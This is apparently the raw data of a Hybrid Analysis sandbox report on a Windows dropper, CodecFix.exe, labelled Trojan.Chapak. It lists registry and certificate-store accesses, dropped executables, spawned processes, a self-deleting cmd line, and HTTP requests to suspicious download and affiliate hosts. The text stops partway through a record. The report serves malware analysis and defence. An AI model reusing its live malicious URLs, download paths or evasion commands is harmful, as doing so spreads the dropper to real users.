24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 39:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T483,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Chapak Sample 45ec873ef2ea… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 45ec873ef2ea…. Malware family: Trojan.Chapak. Threat score 100/100. 9/27 AV engines flagged this file. 14 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/45ec873ef2eae68742b8d1942932490551bce4c9edfc7d15fb1e01f7dca9dfe4","keywords":["Malicious","Trojan.Chapak","malware analysis","sandbox report","threat intelligence","45ec873ef2eae68742b8d1942932490551bce4c9edfc7d15fb1e01f7dca9dfe4"],"about":{"@type":"SoftwareApplication","name":"CodecFix.exe","applicationCategory":["peexe","executable"],"identifier":"45ec873ef2eae68742b8d1942932490551bce4c9edfc7d15fb1e01f7dca9dfe4","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Chapak","antivirusDetections":{"malicious":9,"total":27},"behavioralIndicators":{"malicious":14,"suspicious":24},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T598,"" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IRSETUP.EXE") "" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IRSETUP.EXE") "gimi.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IRSETUP.EXE") "gimi.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IRSETUP.EXE") "salllbu.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IRSETUP.EXE") "salllbu.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IRSETUP.EXE") "irsetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IRSETUP.EXE") "irsetup.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IRSETUP.EXE") "MediaPlay.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IEXPLORE.EXE") "MediaPlay.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IEXPLORE.EXE"; Key: ""; Value: "00000000010000006000000043003A005C00500072006F006700720061006D002000460069006C00650073005C0049006E007400650072006E006500740020004500780070006C006F007200650072005C0049004500580050004C004F00520045002E004500580045000000") "faket.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\FAKET.TMP") "faket.tmp" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\FAKET.TMP")26:T7d6,"irsetup.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "irsetup.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "irsetup.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "irsetup.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "irsetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "irsetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "irsetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "irsetup.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "irsetup.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "irsetup.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "irsetup.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "irsetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "irsetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "irsetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "irsetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "irsetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "irsetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "irsetup.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "irsetup.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "irsetup.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "")27:T879,"irsetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "irsetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "irsetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "irsetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "irsetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\1FB86B1168EC743154062E8C9CC5B171A4B7CCB4"; Key: "BLOB") "irsetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "irsetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "irsetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "irsetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "irsetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\902EF2DEEB3C5B13EA4C3D5193629309E231AE55"; Key: "BLOB") "irsetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\C86EDBC71AB05078F61ACDF3D8DC5DB61EB75FB6"; Key: "BLOB") "irsetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E3FC0AD84F2F5A83ED6F86F567F8B14B40DCBF12"; Key: "BLOB") "irsetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\EAB040689A0D805B5D6FD654FC168CFF00B78BE3"; Key: "BLOB") "irsetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0"; Key: "BLOB") "irsetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FF67367C5CD4DE4AE18BCCE1D70FDABD7C866135"; Key: "BLOB") "irsetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "irsetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "irsetup.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "")28:T692,"" created file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\lua5.1.dll" "irsetup.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.dat" "irsetup.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\pi.png" "irsetup.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\gimi.exe" "irsetup.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\txt.txt" "irsetup.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\salllbu.jpg" "irsetup.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\salllbu.exe" "gimi.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1\irsetup.exe" "gimi.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1\lua5.1.dll" "irsetup.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1\irsetup.dat" "irsetup.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1\IRIMG1.JPG" "irsetup.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1\IRIMG2.JPG" "salllbu.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" "salllbu.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\lua5.1.dll" "irsetup.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\cubesta.png" "irsetup.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\capi.png" "irsetup.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\web.png" "irsetup.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\cimm.png"29:T729,"GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEENSAj%2F6qJAfE5%2Fj9OXBRE4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.trust-provider.com" "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrJdiQ%2Ficg9B19asFe73bPYs%2BreAQUdXGnGUgZvJ2d6kFH35TESHeZ03kCEFslzmkHxCZVZtM5DJmpVK0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.comodoca4.com" "GET http://won.channeltest.bid/offer.php?affId=7386&trackingId=343880091&instId=7520&ho_trackingid=HO343880091&cc=RO&sb=x64&wv=7sp1&db=InternetExplorer&uac=1&cid=d41d8cd98f00b204e9800998ecf8427e&v=3&net=4.7.02558&ie=11%2e0%2e9600%2e18838&res=1018x606&osd=161 HTTP/1.1Host: won.channeltest.bidConnection: closeAccept: */*User-Agent: InstallCapital" "GET /kL3CuYDWuF/Yx5cJur3eX/jfk0021.exe HTTP/1.0Host: geteasyfile.comUser-Agent: InnoTools_Downloader" "GET /en/software/divx HTTP/1.1User-Agent: Christmas MysteryHost: www.divx.comConnection: Keep-Alive" "GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" "GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCQbgjZ3ackCg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" "GET /en/software/divx HTTP/1.1User-Agent: Christmas Mystery 5.5.8Host: www.divx.comConnection: Keep-AliveCookie: SESS49e6e621e11796125197b27c0e9f197c=gskg3agvi3s6urhq3akehcu722"2a:T565,Spawned process "irsetup.exe" with commandline "__IRAOFF:1742194 "__IRAFN:C:\CodecFix.exe" "__IRCT:0" "__IRTSS:0" "__IRSID:S-1-5-21-686412048-2446563785-1323799475-1001"" (UID: 00012485-00003776) Spawned process "gimi.exe" (UID: 00013136-00003444) Spawned process "irsetup.exe" with commandline "__IRAOFF:1742194 "__IRAFN:%TEMP%\gimi.exe" "__IRCT:0" "__IRTSS:0" "__IRSID:S-1-5-21-686412048-2446563785-1323799475-1001"" (UID: 00014097-00002740) Spawned process "salllbu.exe" (UID: 00015781-00003096) Spawned process "irsetup.exe" with commandline "__IRAOFF:1741682 "__IRAFN:%TEMP%\salllbu.exe" "__IRCT:0" "__IRTSS:0" "__IRSID:S-1-5-21-686412048-2446563785-1323799475-1001"" (UID: 00016492-00003864) Spawned process "capi.exe" (UID: 00017211-00000948) Spawned process "MediaPlay.exe" (UID: 00017415-00004060) Spawned process "faket.exe" (UID: 00020452-00002076) Spawned process "cubesta.exe" (UID: 00020477-00003740) Spawned process "XVD.exe" (UID: 00020547-00004776) Spawned process "faket.tmp" with commandline "/SL5="$A03A0 337404 254464 %TEMP%\faket.exe"" (UID: 00021846-00001912) Spawned process "jfk0021.exe" with commandline "/VS /CID=15150" (UID: 00023622-00004884) Spawned process "cmd.exe" with commandline "/C timeout 3 > Nul & Del "%TEMP%\XVD.exe"" (UID: 00025624-00000808) Spawned process "timeout.exe" with commandline "timeout 3" (UID: 00025654-00002040)2b:T4ef,"faket.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "cubesta.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "irsetup.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed" "lua5.1.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" "MediaPlay.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "gimi.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "itdownload.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" "capi.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "jfk0021.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows" "XVD.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "salllbu.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "faket.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "IRIMG2.JPG" has type "JPEG image data JFIF standard 1.02" "_setup64.tmp" has type "PE32+ executable (console) x86-64 for MS Windows" "30CB8325A1BF98CD1151CC34A49CCE11_51492D50E4501CEB22B561C1DDF86BC1" has type "data" "irsetup.dat" has type "data" "divx[1].htm" has type "HTML document ASCII text" "pi.png" has type "data"2c:T4b6,"" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db" "" touched file "C:\Windows\AppPatch\sysmain.sdb" "" touched file "C:\Windows\SysWOW64\shdocvw.dll" "" touched file "C:\Windows\AppPatch\pcamain.sdb" "" touched file "%APPDATA%\Microsoft\Windows\Start Menu\desktop.ini" "" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\desktop.ini" "" touched file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\desktop.ini" "" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\desktop.ini" "" touched file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" "" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini"2d:T1aa8,Pattern match: "www.lua.org" Pattern match: "http://www.usertrust.com1" Pattern match: "crl.usertrust.com/UTN-USERFirst-Object.crl05" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "https://secure.comodo.net/CPS0B" Pattern match: "crl.usertrust.com/UTN-USERFirst-Object.crl04" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://www.indigorose.com" Pattern match: "www.indigorose.com" Heuristic match: "pastebin.com" Pattern match: "https://secure.comodo.com/CPS0" Pattern match: "crl.comodoca4.com/COMODOECCDomainValidationSecureServerCA2.crl0" Pattern match: "crt.comodoca4.com/COMODOECCDomainValidationSecureServerCA2.crt0%" Pattern match: "http://ocsp.comodoca4.com0D" Heuristic match: "ssl509085.cloudflaressl.com" Heuristic match: "*.pastebin.com" Pattern match: "http://crl.comodoca.com/COMODOECCCertificationAuthority.crl0r" Pattern match: "http://crt.comodoca.com/COMODOECCAddTrustCA.crt0%" Pattern match: "http://ocsp.comodoca4.com0" Pattern match: "crl.trust-provider.com/AddTrustExternalCARoot.crl0" Pattern match: "http://ocsp.trust-provider.com0" Heuristic match: "GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?d8cd1e15fa2f33fa HTTP/1.1Connection: Keep-AliveAccept: */*If-Modified-Since: Thu, 20 Apr 2017 16:02:20 GMTIf-None-Match: 04e707defb9d21:0User-Agent: Microsoft-CryptoAPI/6.1Hos" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEENSAj%2F6qJAfE5%2Fj9OXBRE4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.trust-provider.com" Heuristic match: "GET /COMODOECCCertificationAuthority.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.comodoca.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrJdiQ%2Ficg9B19asFe73bPYs%2BreAQUdXGnGUgZvJ2d6kFH35TESHeZ03kCEFslzmkHxCZVZtM5DJmpVK0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.comodoca4.com" Heuristic match: "1fichier.com" Pattern match: "secure2.alphassl.com/cacert/gsalphasha2g2r1.crt05" Pattern match: "http://ocsp2.globalsign.com/gsalphasha2g20W" Pattern match: "https://www.globalsign.com/repository/0" Pattern match: "http://crl2.alphassl.com/gs/gsalphasha2g2.crl0" Heuristic match: "*.1fichier.com" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Heuristic match: "GET /rootr1/MEwwSjBIMEYwRDAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCCwQAAAAAAURO8DYx HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.globalsign.com" Heuristic match: "GET /gsalphasha2g2/ME0wSzBJMEcwRTAJBgUrDgMCGgUABBSE1Wv4CYvTB7dm2OHrrWWWqmtnYQQU9c3VPAhQ%2BWpPOreX2laD5mnSaPcCDBhAOtmL6%2BMYhYzHgQ%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp2.globalsign.com" Heuristic match: "a-8.1fichier.com" Pattern match: "http://won.channeltest.bid/offer.php?affId=7386&trackingId=343880091&instId=7520&ho_trackingid=HO343880091&cc=RO&sb=x64&wv=7sp1&db=InternetExplorer&uac=1&cid=d41d8cd98f00b204e9800998ecf8427e&v=3&net=4.7.02558&ie=11%2e0%2e9600%2e18838&res=1018x606&osd=161" Pattern match: "http://schemas.microsoft.com/SMI/2005/WindowsSettings" Pattern match: "www.divx.com" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://crl.godaddy.com/gdig2s1-235.crl0" Pattern match: "http://certificates.godaddy.com/repository/0" Pattern match: "http://ocsp.godaddy.com/0@" Pattern match: "certificates.godaddy.com/repository/gdig2.crt0" Heuristic match: "*.divx.com" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0F" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "http://ocsp.godaddy.com/02" Pattern match: "http://crl.godaddy.com/gdroot.crl0F" Heuristic match: "GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Pattern match: "http://crl.godaddy.com/repository/gdroot.crl0J" Pattern match: "http://crl.godaddy.com/repository/0" Heuristic match: "GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Pattern match: "http://crl.godaddy.com/repository/gdroot-g2.crl0J" Heuristic match: "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCQbgjZ3ackCg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Pattern match: "http://crl.godaddy.com/repository/mastergodaddy2issuing.crl0J" Heuristic match: "ocsp.trust-provider.com" Heuristic match: "ocsp.comodoca4.com" Heuristic match: "geteasyfile.com" Heuristic match: "api-ocean.info" Heuristic match: "htagzdownload.pw" Heuristic match: "ocsp.godaddy.com" Pattern match: "http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab" Pattern match: "http://ocsp.trust-provider.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEENSAj%2F6q" Pattern match: "http://crl.comodoca.com/COMODOECCCertificationAuthority.crl" Pattern match: "http://ocsp.comodoca4.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrJdiQ%2Ficg9B19asFe73bPYs%2BreAQUdXGnGUgZvJ2d6kFH35TESHeZ03kCEFslzmkHxCZV" Pattern match: "https://1fichier.com/?un6a4mhlhp?????????????gobleturbanditchpramsegments" Pattern match: "http://ocsp.globalsign.com/rootr1/MEwwSjBIMEYwRDAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCCw" Pattern match: "http://ocsp2.globalsign.com/gsalphasha2g2/ME0wSzBJMEcwRTAJBgUrDgMCGgUABBSE1Wv4CYvTB7dm2OHrrWWWqmtnYQQU9c3VPAhQ%2BWpPOreX2laD5mnSaP" Pattern match: "https://www.divx.com/en/software/divx" Pattern match: "http://ocsp.godaddy.com//MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D" Pattern match: "http://ocsp.godaddy.com//MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D" Pattern match: "http://ocsp.godaddy.com//MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCQbgjZ3ackCg%" Pattern match: "http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdline" Pattern match: "http://schemas.microsoft.com/SMI/2005/Windo" Heuristic match: "COMMAND.COM" Pattern match: "http://www.innosetup.com/" Pattern match: "http://www.remobjects.com/ps"2e:T7f4,"C:\CodecFix.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" for deletion "C:\CodecFix.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\lua5.1.dll" for deletion "C:\CodecFix.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0" for deletion "%TEMP%\_ir_sf_temp_0\irsetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.dat" for deletion "%TEMP%\_ir_sf_temp_0\irsetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\IRW226D.tmp" for deletion "%TEMP%\_ir_sf_temp_0\irsetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\IRW8B2B.tmp" for deletion "%TEMP%\_ir_sf_temp_0\irsetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\IRWA329.tmp" for deletion "%TEMP%\_ir_sf_temp_0\irsetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\salllbu.jpg" for deletion "%TEMP%\_ir_sf_temp_0\irsetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0" for deletion "%TEMP%\_ir_sf_temp_0\irsetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\pi.png" for deletion "%TEMP%\gimi.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" for deletion "%TEMP%\gimi.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0" for deletion "%TEMP%\gimi.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1\irsetup.exe" for deletion "%TEMP%\gimi.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1\lua5.1.dll" for deletion "%TEMP%\gimi.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1" for deletion "%TEMP%\_ir_sf_temp_1\irsetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1\irsetup.dat" for deletion "%TEMP%\_ir_sf_temp_1\irsetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1" for deletion "%TEMP%\_ir_sf_temp_1\irsetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1\IRIMG1.JPG" for deletion "%TEMP%\_ir_sf_temp_1\irsetup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1\IRIMG2.JPG" for deletion2f:T67d,"" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" with delete access "" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0" with delete access "" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\lua5.1.dll" with delete access "" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\" with 